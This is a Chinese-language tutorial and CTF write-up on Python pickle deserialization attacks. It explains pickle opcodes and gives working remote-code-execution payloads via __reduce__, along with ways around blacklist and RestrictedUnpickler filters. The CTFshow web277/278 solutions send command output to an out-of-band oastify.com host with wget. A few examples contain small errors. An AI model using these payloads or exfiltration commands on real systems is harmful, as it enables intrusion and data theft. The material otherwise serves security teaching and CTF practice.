1. Pickle 基础

1.1 什么是 Pickle?

Pickle是Python内置的序列化/反序列化的模块,它能将任意Python对象转换为二进制流并还原。Pickle文档明确警告:“pickle模块不安全;只有在信任数据源时才使用。恶意构造的pickle数据可以在反序列化时执行任意代码” 。Pickle与JSON的主要区别在于:JSON只能表示基本类型(数值、字符串、列表、字典等),而Pickle能够序列化几乎任意Python对象(类实例、函数、复杂数据结构等),因此功能更强但也风险更高。

Pickle支持多种协议版本(目前Python官方支持0–5共6种协议),其中协议0为文本格式(Python 2兼容),协议1–3为历史二进制格式,协议4引入对超大对象和新类型的支持,协议5引入离带缓冲区以加速大对象传输 。不同协议产生的字节流会略有不同,但反序列化时Python自动探测版本。开发者通常只需调用pickle.dumps(obj)(或dump(obj, file))来序列化,以及pickle.loads(data)(或load(file))来反序列化。

各协议详细可见文档

image-20250812130638094

在对象协议方面,Python允许类定义特殊方法来自定义序列化行为:

  • __getstate__ / __setstate__: 当需要自定义实例状态存取时使用。
  • __reduce__ / __reduce_ex__: 在反序列化时自动调用,返回描述如何重构对象的可调用对象和参数元组,使得Pickle可以调用这个可调用对象并传入参数来重新创建实例 。例如,__reduce__()可以返回(func, args),Pickle在加载时会执行func(*args)来重建对象 。如果__reduce__返回了额外的状态值,Unpickler在创建对象后会调用该对象的__setstate__方法来设置状态 。在Python 3.x中,__reduce_ex__(protocol)优先于__reduce__,允许针对不同协议版本定制返回值 。

1.2 基本用法

python的pickle提供了两个最基本的函数,分别用于序列化和反序列化

1
2
3
4
# 序列化
pickle.dumps()
# 反序列化
pickle.loads()
1
2
3
4
5
6
7
8
9
10
11
import pickle

data = {"name": "YoSheep", "role": "people"}

# 序列化data
ser = pickle.dumps(data)

# 反序列化
obj = pickle.loads(ser)

print(obj) # {'name': 'Sunny', 'role': 'people'}
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle

data = {"name": "YoSheep", "role": "people"}

# 序列化到文件
with open("data.pkl", "wb") as f:
pickle.dump(data, f)

# 从文件反序列化
with open("data.pkl", "rb") as f:
obj = pickle.load(f)

print(obj) # {'name': 'Sunny', 'role': 'people'}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle

class student():
def __init__(self, name, age, score):
self.name = name
self.age = age
self.score = score

# 自定义打印时的字符串格式
def __repr__(self):
return f"Student(name={self.name}, age={self.age}, score={self.score})"

stu = student("张三", 20, 90)

print("序列化前:", stu)
# 序列化
print("序列化后:", pickle.dumps(stu))
# 反序列化
s = pickle.loads(pickle.dumps(stu))
print("反序列化后:", s)

以下是输出:

1
2
3
序列化前: Student(name=张三, age=20, score=90)
序列化后: b'\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07student\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06\xe5\xbc\xa0\xe4\xb8\x89\x94\x8c\x03age\x94K\x14\x8c\x05score\x94KZub.'
反序列化后: Student(name=张三, age=20, score=90)

可以看出,该对象经历了一个:对象 -> 二进制数据 -> 对象 的过程。

1.3 Pickle vs JSON

对比项 Pickle JSON
可存储类型 任意 Python 对象(类、函数、集合等) 基本数据类型(数字、字符串、数组、字典)
跨语言性 Python 专用 跨语言
安全性 反序列化可执行代码 → 有安全风险 相对安全(只解析数据)

2. 漏洞原理

2.1 反序列化即执行指令

Pickle反序列化过程相当于一个完整的虚拟机(Pickle VM,简称PVM)在Python解释器中执行字节码序列 。PVM维护一个指令解析器(依次读取并执行操作码)、一个使用Python list 实现的操作栈(临时存储数据和中间结果)、以及一个使用Python dict 实现的memo(对象缓存,用于避免重复反序列化同一对象)。在解析字节流时,每遇到一个操作码(opcode),就执行相应操作并更新栈或memo,直到遇到终止符(.)为止,最终栈顶的对象即为反序列化结果。

常见的opcode,一下表格来自tontac的文章,翻译取自文章

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新

以下是PVM的工作机制,参考:https://goodapple.top/archives/1069

  • PVM解析str的过程:

20200320230631-6204866e-6abc-1

  • PVM解析 __reduce__()的过程

20200320230711-7972c0ea-6abc-1

2.2 利用机制

在Pickle协议中,常见的与反序列化攻击相关的opcode有:

  • c <module>\n<name>\n(如cosystem):从指定模块导入全局对象(函数/类),将其推入栈中 。
  • (t:( 操作码在栈中放入一个MARKt 操作码将MARK与后续数据组合成一个元组 。
  • RREDUCE 操作,在栈顶找出可调用对象和参数元组并执行函数调用 。
  • .:结束符,表示程序结束,返回栈顶结果 。

例如,攻击者可以在一个自定义类的__reduce__方法中返回(os.system, (‘命令’,)),将os.system函数及参数注入Pickle流。反序列化时,PVM将按上述流程依次执行import os.system、(‘命令’,)、REDUCE调用命令,最终在服务器上执行指定系统命令。这种攻击链图示如下:

1
2
[Evil().__reduce__ 返回 os.system 函数及参数] 
-- Pickler.dumps() --> [Pickle字节流] -- Unpickler.loads() --> [PVM 执行 os.system('命令')]

使用pickletools可以反汇编pickle

1
2
3
4
5
6
7
8
9
10
11
import pickle
import pickletools

class student():
def __init__(self, name, age, score):
self.name = name
self.age = age
self.score = score

payload = pickle.dumps(student("张三", 20, 90))
pickletools.dis(payload)

得到的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    0: \x80 PROTO      4
2: \x95 FRAME 66
11: \x8c SHORT_BINUNICODE '__main__'
21: \x94 MEMOIZE (as 0)
22: \x8c SHORT_BINUNICODE 'student'
31: \x94 MEMOIZE (as 1)
32: \x93 STACK_GLOBAL
33: \x94 MEMOIZE (as 2)
34: ) EMPTY_TUPLE
35: \x81 NEWOBJ
36: \x94 MEMOIZE (as 3)
37: } EMPTY_DICT
38: \x94 MEMOIZE (as 4)
39: ( MARK
40: \x8c SHORT_BINUNICODE 'name'
46: \x94 MEMOIZE (as 5)
47: \x8c SHORT_BINUNICODE '张三'
55: \x94 MEMOIZE (as 6)
56: \x8c SHORT_BINUNICODE 'age'
61: \x94 MEMOIZE (as 7)
62: K BININT1 20
64: \x8c SHORT_BINUNICODE 'score'
71: \x94 MEMOIZE (as 8)
72: K BININT1 90
74: u SETITEMS (MARK at 39)
75: b BUILD
76: . STOP
highest protocol among opcodes = 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
0: \x80 PROTO 4
• 表示使用 pickle 协议版本 4。协议版本影响后续 opcode 行为与编码格式(FRAME、SHORT_BINUNICODE 等)。

2: \x95 FRAME 66
• 协议4引入的 FRAME,用于指出后面一段“frame”的字节长度(用于高效网络传输/解码)。对业务逻辑无行为差异,可视为包长度/边界说明。



11: \x8c SHORT_BINUNICODE '__main__'
• 把 Unicode 字符串 '__main__' 压入栈(module 名)。
• 栈(top → bottom): ['__main__']

21: \x94 MEMOIZE (as 0)
• 将栈顶的 '__main__' 存入 memo[0]。
• memo[0] = '__main__',栈不变(仍有 '__main__' 在栈顶,但已 memoize)。

22: \x8c SHORT_BINUNICODE 'student'
• 把字符串 'student' 压入栈。(class 名)
• 栈: ['student', '__main__'](按 push 顺序,top 为右侧最先被使用的项)

31: \x94 MEMOIZE (as 1)
• memo[1] = 'student'

32: \x93 STACK_GLOBAL
• 协议 4 中的 STACK_GLOBAL:从栈上取出前两个项(module 名 和 名称),并将对应的全局对象(这里是类 __main__.student)压入栈。等价于旧版 GLOBAL '__main__' 'student' 的行为,但以栈值构造。
• 执行后栈变为: [<class __main__.student>](类对象被推入)。
• 这是把模块名+类名解析成实际的 class 对象。

33: \x94 MEMOIZE (as 2)
• memo[2] = <class __main__.student>(把类对象 memoize)



34: ) EMPTY_TUPLE
• 压入一个空元组 () 到栈,用作构造对象时的构造参数(这里没有参数)。
• 栈: [(), <class __main__.student>] (注意 push 顺序;具体取用顺序由 NEWOBJ 决定)

35: \x81 NEWOBJ
• NEWOBJ:在栈上取出 class(top-1)和 args tuple(top),调用 class.__new__(class, *args) 创建一个新实例(通常不调用 __init__),然后把新创建的实例推入栈。
• 结果:栈顶现在是新创建的 student 实例(未初始化/随后会通过 BUILD 设置属性)。
• 简单理解:NEWOBJ 创建实例对象但不通过 init 重构状态(Pickle 通常用 BUILD 或 setstate 来恢复属性)。

36: \x94 MEMOIZE (as 3)
• memo[3] = <student instance>(将新实例缓存起来以支持后续引用)



37: } EMPTY_DICT
• 压入一个空字典 {} 到栈(这个字典将被用来存放实例的属性/状态)。
• 栈(简化): [..., <student instance>, {}]

38: \x94 MEMOIZE (as 4)
• memo[4] = {}(缓存这个空字典)

39: ( MARK
• 标记(MARK)用于后续成对的 SETITEMS/SUBSCRIPT 等操作,从 MARK 到当前位置之间的推栈内容作为成对的 key/value 列表处理。
• 实际上这里的 MARK 标记了接下来要放进该字典的若干 key/value 对儿的起点。



40: \x8c SHORT_BINUNICODE 'name'
• 压入字符串键 'name'。
• 栈现在在 MARK 下记录: 'name'

46: \x94 MEMOIZE (as 5)
• memo[5] = 'name'(缓存该键)

47: \x8c SHORT_BINUNICODE '张三'
• 压入值 '张三'(Unicode 字符串,字节表示在序列中对应那些 \x8c 后的多字节内容)。
• 栈上当前 MARK 部分: ['name', '张三']

55: \x94 MEMOIZE (as 6)
• memo[6] = '张三'

56: \x8c SHORT_BINUNICODE 'age'
• 压入键 'age'。MARK 区继续记录。

61: \x94 MEMOIZE (as 7)
• memo[7] = 'age'

62: K BININT1 20
• K (BININT1) 表示一个 1 字节整数常量,这里值为 20(年龄)。把整数 20 压入栈。
• MARK 区现在有 'name', '张三', 'age', 20

64: \x8c SHORT_BINUNICODE 'score'
• 压入键 'score'。

71: \x94 MEMOIZE (as 8)
• memo[8] = 'score'

72: K BININT1 90
• 再压入整数 90(score 字段)



74: u SETITEMS (MARK at 39)
• SETITEMS:把 MARK(在偏移 39)到当前位置之间的栈项作为若干 key/value 对,弹出并把这些键值对依次设置到栈上最近的 dict(这里就是 memo[4] 那个空 dict)中。
• 执行效果:把 'name': '张三', 'age': 20, 'score': 90 填入那之前创建的字典(memo[4])。
• 操作后,栈上的 dict 现在是 {'name':'张三','age':20,'score':90}。

75: b BUILD
• BUILD:把上一步填好的状态(字典)应用到实例上。通常语义是:从栈中弹出 state,然后对实例执行 instance.__setstate__(state)(如果类定义了 __setstate__),否则直接把 state 更新到实例的 __dict__。
• 在此例中,BUILD 会把刚填好的 dict 作为实例的 __dict__(即把属性写到实例上),从而恢复出完整的 student 实例:student.name='张三'、student.age=20、student.score=90。

76: . STOP
• pickle 数据流结束,返回栈顶对象(即已恢复的 student 实例)。

最终结果,pickle 流构造了:

  1. 找到类 __main__.student(通过 SHORT_BINUNICODE '__main__', 'student' + STACK_GLOBAL
  2. 使用 EMPTY_TUPLE + NEWOBJ 创建一个新的 student 实例(没有通过 init 的参数方式构造)
  3. 创建并填充一个 dict,包含三个键值对:name=’张三’、age=20、score=90(通过 SETITEMS)
  4. 使用 BUILD 将该 dict 应用到实例上(设置实例状态)

结果就是:反序列化得到的实例等价于 Student(name=’张三’, age=20, score=90)。

如何产生恶意目的?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickletools
import os

class student():
def __init__(self, name, age, score):
self.name = name
self.age = age
self.score = score

def __reduce__(self):
return (os.system, ('ls',))

payload = pickle.dumps(student("张三", 20, 90))
pickletools.dis(payload)

输出的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    0: \x80 PROTO      4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'os'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'ls'
31: \x94 MEMOIZE (as 3)
32: \x85 TUPLE1
33: \x94 MEMOIZE (as 4)
34: R REDUCE
35: \x94 MEMOIZE (as 5)
36: . STOP
highest protocol among opcodes = 4

可以发现,此时我传入的信息(姓名、年龄、分数等)怎么不见了?

这是因为一旦你在类里实现了 __reduce__,pickle 在序列化这个对象时,就不会去存储对象的属性数据(name、age、score),而是直接把 __reduce__ 返回的 (callable, args) 记录到 pickle 流里。因为Pickle 协议在序列化一个对象时,优先检查__reduce_ex__(protocol)是否存在,否则检查是否存在__reduce__()。如果存在,则它的返回值告诉 pickle:callable(反序列化时要调用的函数)、args**(传给 callable 的参数)。在我的例子中,由于检测到了reduce,且reduce方法中没有name、age、score等,也就是说反序列化时都用不上这些属性,因此也不会出现在汇编内容中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 0: \x80 PROTO      4
# 使用 pickle 协议版本 4,影响后续编码方式
栈: []

2: \x95 FRAME 26
# 当前 pickle 数据帧大小(v4+ 用于优化流读取)
栈: []

11: \x8c SHORT_BINUNICODE 'os'
# 压入字符串 "os"
栈: ['os']

15: \x94 MEMOIZE (as 0)
# 将 'os' 存入 memo[0](全局缓存),栈不变
栈: ['os']

16: \x8c SHORT_BINUNICODE 'system'
# 压入字符串 "system"
栈: ['os', 'system']

24: \x94 MEMOIZE (as 1)
# 缓存 'system' 到 memo[1]
栈: ['os', 'system']

25: \x93 STACK_GLOBAL
# 出栈 'system' 和 'os',执行 import os; getattr(os, 'system')
# 结果 os.system 压回栈
栈: [os.system]

26: \x94 MEMOIZE (as 2)
# 缓存 os.system 到 memo[2]
栈: [os.system]

27: \x8c SHORT_BINUNICODE 'ls'
# 压入字符串 "ls"
栈: [os.system, 'ls']

31: \x94 MEMOIZE (as 3)
# 缓存 'ls' 到 memo[3]
栈: [os.system, 'ls']

32: \x85 TUPLE1
# 将栈顶 1 个元素 ('ls') 打包成元组 ('ls',)
栈: [os.system, ('ls',)]

33: \x94 MEMOIZE (as 4)
# 缓存 ('ls',) 到 memo[4]
栈: [os.system, ('ls',)]

34: R REDUCE
# 从栈顶取出 args=('ls',) 和 callable=os.system
# 执行 os.system('ls'),结果(退出码)压栈
栈: [0] ← 此时命令已执行

35: \x94 MEMOIZE (as 5)
# 缓存 0 到 memo[5]
栈: [0]

36: . STOP
# 结束反序列化,返回栈顶的值 0

构造的Pickle字节流首先通过SHORT_BINUNICODE ‘posix’和SHORT_BINUNICODE ‘system’等操作码导入并获取os.system函数(在Linux上对应POSIX模块),然后将字符串参数压入栈,最后通过REDUCE操作(在协议4中为R)调用os.system(‘ls’) 。可以看到,Pickle的“虚拟机”流程与普通的Python函数调用相似:先将可调用函数推入栈,再将参数放入栈,最后触发函数调用并返回结果 。正因如此,当Pickle字节流被反序列化时,它能按攻击者指定的顺序“编排”要执行的操作,这就为任意代码执行(RCE)打开了大门 。

2.3 漏洞危害与基础利用

漏洞危害:

反序列化Pickle数据会执行其中指定的指令序列,这意味着攻击者只要能诱使受害者加载恶意Pickle文件或流,就可以执行任意Python代码或系统命令 。以下是常见的基础利用方法:

  • 直接RCE:在自定义类的__reduce__中,或者重写的__reduce__中返回危险调用,例如 (os.system, (‘ls -la’,));序列化后,调用到pickle.loads(payload)即可执行命令。
  • 现有Pickle数据剖析:如果已知有恶意Pickle,使用Python自带的pickle.loads()或pickletools.dis()进行反序列化/反汇编,可直接观察其执行逻辑,或者复用其进行进一步攻击。

基础利用

  1. 使用序列化数据
1
2
3
4
5
6
7
8
import pickle

class Evil:
def __reduce__(self):
return (os.system, ('id',))

payload = pickle.dumps(Evil())
pickle.loads(payload) # 直接执行 os.system('id')

此时,payload中经过序列化后的数据为

1
b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'

如果执行

1
2
3
import pickle

pickle.loads(b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.')

那么此时指令id也会被正常执行,pickle 并不会直接在反序列化时报错找不到 os 模块。 pickle 的反序列化机制会根据数据里的模块和函数路径,自动帮你导入相应的模块,然后调用对应的函数。

  1. 构造 opcode payload
1
2
3
4
5
6
7
import pickletools

opcode=b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)

输出结果,且whoami命令成功执行:

1
2
3
4
5
6
7
    0: c    GLOBAL     'os system'
11: ( MARK
12: S STRING 'whoami'
22: t TUPLE (MARK at 11)
23: R REDUCE
24: . STOP
highest protocol among opcodes = 0

其中

1
2
3
4
b'''cos
system
(S'whoami'
tR.'''

根据PVM的解析过程,执行过程:

1
2
3
4
5
6
1.	c os\nsystem\n → 加载 os.system,栈:[<built-in function system>]
2. ( → 压入 MARK 标记,栈:[<system>, MARK]
3. S'whoami' → 压入 "whoami",栈:[<system>, MARK, "whoami"]
4. t → 从 MARK 到栈顶打包成 tuple → ('whoami',),栈:[<system>, ('whoami',)]
5. R → 调用 <system>('whoami'),栈变为 [<system 返回值>]
6. . → 返回 <system 返回值> 并结束

3. 深度绕过与其他技巧

由于Pickle漏洞风险极高,很多场景中开发者会尝试限制或黑名单过滤危险函数。如禁止使用os.system、eval等,甚至自定义RestrictedUnpickler来约束模块和名称。然而,攻击者可以利用Python灵活特性和Pickle协议深层机制绕过这些防护。下面列举几种常见的绕过手法和原理分类:

使用替代函数

  1. 如果os.system被禁用,可以用os.popen或subprocess.Popen等调用系统命令,效果相同。例如,在某些环境下os.popen(‘命令’)仍能执行。此外,subprocess.Popen可直接调用Shell:
1
2
3
4
5
6
7
8
9
import subprocess
import pickle

class Exploit:
def __reduce__(self):
return (subprocess.Popen, (['/bin/sh','-c','id'],))

payload = pickle.dumps(Exploit())
pickle.loads(payload)
1
2
3
4
5
6
7
8
import pickle, os

class Exploit:
def __reduce__(self):
return (os.popen, ('id',))

payload = pickle.dumps(Exploit())
pickle.loads(payload)

__reduce__ 返回 (callable, args),反序列化会执行 callable(*args),而 subprocess.Popen 、 os.popen 同 os.system 一样,可以执行系统命令。

  1. 内置函数eval/exec:如果允许调用eval,攻击者可以先通过__import__('os')拿到os模块后执行任意表达式。如:return (__import__('builtins').__dict__['eval'], ("__import__('os').system('id')",))。在一些RestrictedUnpickler实现中,虽然直接调用exec/eval被列为黑名单,但常可通过getattr(builtins, 'eval')绕过 。
1
2
3
4
5
6
7
8
9
import pickle, builtins

class Exploit:
def __reduce__(self):
# getattr(builtins, 'eval')("__import__('os').system('id')")
return (getattr(builtins, 'eval'), ("__import__('os').system('id')",))

payload = pickle.dumps(Exploit())
pickle.loads(payload)
  1. 跳过find_class检查:RestrictedUnpickler通过重写find_class()禁止导入模块,但PVM中并非所有操作码都调用find_class。根据官方文档,find_class()在处理全局对象时被触发(GLOBAL/c、协议4中的STACK_GLOBAL/\x93、协议2及以上中的INST/iOBJ/o等会调用该方法)。如果攻击者构造不使用这些操作码(如尽量不使用c/i/\x93),就可绕过find_class。例如,可以利用对象自身的属性或特殊方法来间接获得所需函数,无需再触发导入。通过绕过全局导入的操作码序列,可不触发find_class()检查,从而在受限环境中获取eval等函数 。
1
2
3
4
5
6
7
8
9
10
11
12
import pickle

class Exploit:
def __reduce__(self):
# 不直接 import,也不直接 GLOBAL
# 用现有对象的 __class__.__base__.__subclasses__() 拿到 builtins 的 eval
builtins_eval = ().__class__.__base__.__subclasses__()[138] # 假设138是catch_warnings类
# 这里要遍历找到builtins模块再找eval
return (builtins_eval, ())

# 注意:这个是思路示例,实际要找到路径对应的类索引
payload = pickle.dumps(Exploit())

利用函数闭包变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle

def outer():
def inner():
return __builtins__['eval']
return inner

class Exploit:
def __reduce__(self):
# outer 返回 inner,调用 inner() 时从闭包取 eval
return (outer(), ("__import__('os').system('id')",))

payload = pickle.dumps(Exploit())
pickle.loads(payload)

如果提前构造一个函数,把危险函数(eval、os.system)存进闭包变量,再把这个函数对象序列化,就能在反序列化时直接调用它。这样既不触发 find_class,又不需要用黑名单中的名字。

  1. 间接访问__builtins__:即使__import__或eval被过滤,但是可以通过Python对象的属性和标准库来间接调用。例如,可以先用Pickle加载内置的dict和globals()字典,再通过builtins.getattr(…)获取内置模块和函数。tontac的一篇文章中,如下截图,攻击者逐步用以下步骤绕过黑名单:

    1. 通过(c builtins getattr (c builtins dict S'get' tR)等操作码调用builtins.getattr(builtins.dict, 'get')获得字典的get方法;

    2. 使用globals()获取__builtins__全局命名空间;

    3. 利用getattr(get, globals(), 'builtins')获取内置模块对象;

    4. 最终使用getattr(builtins, 'eval')取得eval函数 。

过程类似

1
2
3
4
get = builtins.getattr(builtins.dict, 'get')	# 拿到dict对象的get方法,dict.get
b = get(globals(), '__builtins__', get(globals(), 'builtins')) # 调用上一步得到的 dict.get,来从global()获得的全局变量字典中得到builtins模块,目的是从全局命名空间拿到内置对象(不通过 import builtins、不使用 GLOBAL 导入语句)
ev = b.get('eval') if isinstance(b, dict) else builtins.getattr(b, 'eval') # 到此处相当于getattr(builtins_obj, 'eval'),从前面获取到的builtins模块中调用他的eval方法
ev(command)

为什么要这样做才能绕过限制?

在受限的反序列化环境里,不让 payload 直接写出 import / eval / os 等敏感字或不使用可被阻断的 GLOBAL 导入路径,同时依然能拿到危险函数并执行它们。很多防护基于静态黑名单(匹配字面关键字 eval/import/os)或通过 RestrictedUnpickler.find_class() 阻止通过 GLOBAL 导入任意模块。上面的方法没有显式的使用import/GLOBAL,直接从运行时才可见的对象globals()/__builtins__中读取内置模块或函数,而不是直接导入,因此可以绕过;并且通过 dict.get、getattr 等函数逐步索引到内置对象,再取出 eval,很多简单过滤仅查字面 eval/os.system,而此方法的关键字出现在可以被拆分或隐藏的位置(并且可以进一步用字符串拼接或 chr() 逃避匹配)。

博客节选:

image-20250812141208883

  1. 替代操作码: 如果R(REDUCE)操作码被检测阻断,攻击者仍有i和o等操作码可用来实现类似功能 。例如,i(INST)等价于连续使用GLOBAL和REDUCE,o(OBJ)则在协议0中创建一个新对象实例,但在协议2+时可用于调用函数。Tontac博客列出示例:在无法使用R时,仍可以使用i或o操作码完成调用 。具体而言:
    • 使用INST:(S'whoami'\nios\nsystem\n. 相当于先导入os.system再执行;
    • 使用OBJ:(c posix\nsystem\nS'whoami'\no. 同样调用os.system(‘whoami’)。

CTF例题

CTFshow—web277

image-20250812005512484

首先根据题目提示,构造payload传入

1
2
3
4
5
6
7
8
9
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.system, ('ls /',))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))

但是传入后发现,无论传入的内容是什么,页面没有变化,因此尝试无回显外带:

1
2
3
4
5
6
7
8
9
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.system, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`ls | tr "\n" "_"`',))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))

由于外带的内容中如果存在换行的情况,会导致wget 命令无法正确解析域名,因此可以用上面的方法列出所有文件

image-20250812012754195

找到flag

1
2
3
4
5
6
7
8
9
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.system, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`',))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))

成功带出执行结果

image-20250812012910293

CTFshow—web278

同web277,过滤了os.system,使用os.popen或subprocess

1
2
3
4
5
6
7
8
9
import pickle
import os
import base64
class Evil:
def __reduce__(self):
return (os.popen, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`',))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))

1
2
3
4
5
6
7
8
9
10
11
import pickle
import base64
import subprocess


class Evil:
def __reduce__(self):
return (subprocess.Popen, (['/bin/sh', '-c', 'wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`'],))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))